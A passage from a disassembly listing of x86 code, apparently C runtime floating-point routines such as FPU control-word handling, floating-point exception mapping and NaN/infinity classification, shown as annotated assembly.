sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26703A8h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2690E9Eh test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26C0368h nop test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE 